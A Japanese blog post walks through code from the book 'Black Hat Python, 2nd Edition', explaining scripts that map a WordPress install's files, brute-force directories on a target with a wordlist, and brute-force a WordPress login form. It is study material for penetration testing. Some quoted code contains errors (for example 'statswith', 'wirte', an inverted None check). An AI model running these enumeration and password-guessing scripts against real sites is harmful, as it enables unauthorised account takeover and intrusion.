Pythonでwebアプリケーションを攻撃

BlackHatPython(2nd edition)を読む

yyBlack Hat Python, 2nd Edition
Python Programming for Hackers and Pentesters
by Justin Seitz and Tim Arnold
no starch press
April 2021, 216 pp.

 

本記事は『Black Hat Python, 2nd Edition Python Programming for Hackers and Pentesters』の要点整理及び自分の理解度確認を目的として書いたものです。ここで解説する本書中のソースコードは全てno starch pressのサイトから誰でもフリーでダウンロードできます。自分の理解が及ばず誤りが散見される可能性がありますがご了承ください。

流石に本書に書いてある文章をそのまま訳してつらつら書くわけにはいかない。

 

ここでは誰でもフリーにダウンロードできる本書中のソースコードにおいて、大切な所や少し難しい所の説明を軽く挟んでいくだけ。

はしょった部分も沢山ある。

 

重要な部分は実際に本書を読まなければ知ることができない。

 

本書をすでに購入済みの人がその本片手に参考にするような記事になっている。

 

是非『Black Hat Python, 2nd Edition Python Programming for Hackers and Pentesters』を手に取ってその周辺の重要な説明部分にも目を通すことを勧める。

スポンサーリンク

WordPress仕様のWebサーバーに対するファイルマッピング

まず、今回は無視するファイル拡張子の一覧がFILTEREDで定義されてる。

FILTERED = [".jpg", ".gif", ".png" , ".css"]

gather_paths関数

gather_paths関数で当該ディレクトリ中のファイルを走査して、上でフィルタリングした以外のファイルを抜き取る。

def gather_paths():
    for root, _, files, in os.walk('.'):
        for fname in files:
            if os.path.splitext(fname)[1] in FILTERED:
                continue
            path = os.path.join(root, fname)
            if path.statswith('.'):
                path = path[1:]
            print(path)
            web_paths.put(path)

os.walkで指定したディレクトリをルートとするディレクトリツリー、に含まれる各ディレクトリごとに

(ディレクトリパス, ディレクトリ名, ファイル名)

のタプルを返す(実を言うとジェネレータ)。

 

os.walkの例)

ow.walkの結果

変数filesに対応するのは上の画像のようにファイル名のリスト。

 

os.path.splitextは引数について、ファイル名と拡張子とに分割する。

>>> fname = 'detector.py'
>>> os.path.splitext(fname)
('detector', 'py')

つまりos.path.splitext[1]は拡張子のこと。

これがFILTEREDのどれかつまり今回無視するやつだったらcontinueで無視る。

 

if path.startswith('.'):
                path = path[1:]

このコードは例えば

./detector.py

/detector.py

になる。

 

最終的に得られたパスたちはweb_paths変数で定義されたキューに格納されていく。

 

osモジュールの公式ドキュメント👇

chdir関数

説明のためif __name__ == ‘__main__’:ブロックも合わせて載せておく。

その際/Users/hashibirokou/Downloadsの部分は自分の環境に合わせて書き換えておくように。

@contextlib.contextmanager
def chdir(path):
    this_dir = os.getcwd()
    os.chdir(path)
    try:
        yield
    finally:
        os.chdir(this_dir)

if __name__ == '__main__':
    with chdir("/Users/hashibirokou/Downloads"):
        gather_paths()

chdir関数は簡単に言うと、引数で指定したディレクトリに移動して、でも最後はしっかりと元居たディレクトリに戻るという動きをするもの。

 

べつにこのchdir関数が何かするとか何かを出力するとかじゃなくて、本当にただ(gather_paths関数の為に)ディレクトリを移動するだけ。

この実行例見れば分かる👇

>>> @contextlib.contextmanager
... def chdir(path):
...     this_dir = os.getcwd()
...     os.chdir(path)
...     try:
...             print("I'm in the try block.")
...             yield
...     finally:
...             os.chdir(this_dir)
... 
>>> with chdir('/Users/hashibirokou/Downloads') as f:
...     print(f)
... 
I'm in the try block.
None
>>>

yieldで産出された値がasの後に書いてあるfに入れられるど、print(f)とやってもNone

なーんも入ってへん😛。

 

このchdirの部分、実はPython特有の機能をガンガン活用してる結構難しめのやつ。

一応説明してみる。

 

まず@contextlib.contextmanagerをつけてジェネレータ関数を定義するとコンテキストマネージャーを作ることができる。

  • ジェネレータ … メモリ効率の良い関数
  • コンテキストマネージャ … with文が使えるもの(with open(~)とか)

 

だから今回はchdirがコンテキストマネージャーになった。

そして確かに

with chdir("/Users/hashibirokou/Downloads"):
        gather_paths()    

とwith文に渡してる。

 

まとめる。

mapper.pyを実行すると/Downloadsディレクトリに移動して、そこでgather_paths関数を実行。

つまりgather_paths関数は/Downloadsディレクトリで実行されるから、(本書通り)wordpressフォルダを走査してその中の目ぼしいファイルを抽出するというわけ。

 

ジェネレータとかコンテキストマネージャーについてはこちら👇

test_remote関数とSSLのエラーについて

test_remote関数は…

web_pathsに入ってる主要ファイル名の前にターゲットのURLを繋げる

その繋ぎ合わせたURLをターゲットにリクエスト

リクエストの結果ステータスコード200だったらanswersっていうキューに格納する

def test_remote():    
    while not web_paths.empty():
        path = web_paths.get()
        url = f'{TARGET}{path}'
        time.sleep(2)
        r = requests.get(url)
        if r.status_code == 200:
            answers.put(url)
            sys.stdout.wirte('+')
        else:
            sys.stdout.write('x')
        sys.stdout.flush()

SSLCertVerificationErrorSSErrorが出まくる。

しょうがないから、requests.getの引数にverify = Falseを指定する。

r = requests.get(url, verify=False)

その代わりにInsecureRequestWarningは出る。

このセクションでやろうとしていること

自分の環境にWordPressのディレクトリ・ファイル群をインストールして、まずそれに対してつまり自分のローカル環境でWordPressに対する主要ファイルを抽出。

その抽出された主要ファイルたちはweb_pathsというキューに格納される。

そしたら今度は、そのweb_pathsに格納されたファイル達(価値あるファイル達)にターゲットのURLをつけてrequestsgetする。
(つまりターゲットのWordPressにおける主要ファイルを抽出しようとしてる。)

その結果はanswersに入り、最終的にそのanswersの中身は新しいファイルmyanswers.txtに書き込まれる。

ブルートフォースでディレクトリ・ファイルを炙り出す

get_words関数

resumeっていうのは単に何かしらの問題が発生した時でも再開できるようにする為のもの。

だからresumeは文法的には重要じゃないのでその他の部分に着目する。

 

def get_words(resume = None):
    def extend_words(word):
        if "." in word:
            words.put(f'/{word}')
        else:
            words.put(f'/{word}/')

        for extension in EXTENSIONS:
            words.put(f'/{word}{extension}')


    with open(WORDLIST) as f:
        raw_words = f.read()

    found_resume = False
    words = queue.Queue()

    for word in raw_words.split():
        if resume is not None:
            if found_resume:
                extend_words(word)
            elif word == resume:
                found_resume = True
                print(f'Resuming wordlist from: {resume}')
        else:
            print(word)
            extend_words(word)
    return words

get_wordsでやっていることは簡単で、WORDLISTを全て読み込んでwordsっていうキューに格納していってるだけ。

それで、返り値はそのwordsっていうキュー。

 

wordsっていうキューの中身はこんな感じ(部分的に抜粋)👇

deque([
'/common.php',
'/common.bak', 
'/common.orig',
'/CVS/',
'/CVS.php', 
'/db_rebuild_autoincrement.sql',
'/db_rebuild_autoincrement.sql.php',
'/db_rebuild_autoincrement.sql.bak',
'/db_rebuild_autoincrement.sql.orig'])

 

WORDLISTの中身は

common
CVS
root
Entries
lang
home.php
setup.php
popup_help_screen.php
#省略#
convert_infopages_to_ezpages.sql
db_rebuild_autoincrement.sql
mysql_upgrade_zencart_137_to_138.sql
mysql_zencart.sql
techsupp.php

のように文字列がズラッと入ってる。

これをwith文でopenし、readで一括読み込みする。

with open(WORDLIST) as f:
        raw_words = f.read()

raw_wordsの中身は

'common\nCVS\nroot\nEntries\nlang\npopup_help_screen.php\n'

のように”\n”を含んだstr型オブジェクト。

splitしてやると

>>> raw_words.split()
['common', 'CVS', 'root', 'Entries', 'lang', 'popup_help_screen.php']

のようにリストになる。

dir_bruter関数

単純にget_words関数で得られたwordsっていうキューから単語を一つずつ取り出して、TARGETと繋ぎ合わる。

それでできたURLをターゲットにrequests.getして反応を見る。

HTMLログイン認証のブルートフォースアタック

get_params関数

def get_params(content):    
    params = dict()
    parser = etree.HTMLParser()
    tree = etree.parse(BytesIO(content), parser = parser)
    for elem in tree.findall('//input'):
        name = elem.get('name')
        if name is None:
            params[name] = elem.get('value', None)
    return params

get_paramsはターゲットのwordpressログイン画面におけるhtmlソースからinputタグを見つけ、その属性namevalueをそれぞれキーと値にした辞書を生成する関数。

 

引数のcontentについては以降のBruterクラスのメソッドを見れば分かるのでここでは説明しない。

 

以降で示すウェブフォーム(<form>…</form>)のhtmlコードを見れば分かる通り、inputタグはログイン入力欄とパスワード入力欄だけじゃない。

type=hiddenになっているが、cookieやsubmitボタンに対するinputタグもあり、ブルートフォースの際はそれらもきちんと設定する必要がる。

get_params関数はそこで仕事をするというわけ。

 

理解促進のきっかけになれば:

params = {'wp-submit': 'Log In', 'testcookie': '1'}

 

requestsetreeHTMLParserについては別記事で👇

web_bruterメソッド

def web_bruter(self, passwords):
        session = requests.Session()
        resp0 = session.get(self.url)
        params = get_params(resp0.content)  # <- this is the dictionary
        params['log'] = self.username

        while not passwords.empty() and not self.found:
            time.sleep(5)
            passwd = passwords.get()
            print(f'Trying username/passwords {self.username}/{passwd:<10}')
            params['pwd'] = passwd

            resp1 = session.post(self.url, data = params)
            if SUCCESS in resp1.content.decode():
                self.found = True
                print(f"\nBruteforcing successful.")
                print(f"Username is %s" % self.username)
                print(f"Password is %s" % passwd)
                print(f"done: now cleaning up other threads...")

requests.Sessionはcookieとかリクエストした時のパラメータとかを自動で適切に処理してくれる便利なやつ。

でも取り扱う値とかは今までと同じで、session.get(self.url)でgetしてresp0.contentで中身を見る。

 

wordpressにおけるログイン画面のhtmlコードはこのようになっている(簡略化ver):

<form action="http://target.com/wp-login.php" method="post">
 <p>
  <label>ユーザー名またはメールアドレス</label>
  <input type="text" name="log" id="user_login" value=""/>
 </p>

 <div class="user-pass-wrap">
  <label>パスワード</label>
  <div class="wp-pwd">
   <input type="password" name="pwd" id="user_pass" value=""/>											
  </div>
 </div>
  
 <p class="submit">
  <input type="submit" name="wp-submit" value="Log In" />									
  <input type="hidden" name="testcookie" value="1" />
 </p>
</form>

繰り返しになるが、変数paramsinuptタグの属性namevalueを組みとした辞書。

 

params['log'] = self.username

この一行は後のブルートフォースアタックで必要になる、wordpressログイン画面でユーザー名を入力する欄のinputタグの属性nameself.usernameを設定しているということ。

self.usernameはターゲットのwordpressログイン名。

 

while not passwords.empty() and not self.found:
            time.sleep(5)
            passwd = passwords.get()
            print(f'Trying username/passwords {self.username}/{passwd:<10}')
            params['pwd'] = passwd

            resp1 = session.post(self.url, data = params)

ワードリストであるpasswords(キュー)が空じゃない、かつ変数self.foundTrueでない限り(これがTrueになるのは見事パスワードを発見した時)postしまくる。

まさにここがブルートフォースを行っている部分。

 

whileループで、その都度passwordsっていうキューから単語をとって、辞書paramsのキーpwdに対する値としてセットする。

wordpressログイン画面で、パスワードを入力する欄のinputタグのname属性がpwdである(上のhtmlコード参照)。

タイトルとURLをコピーしました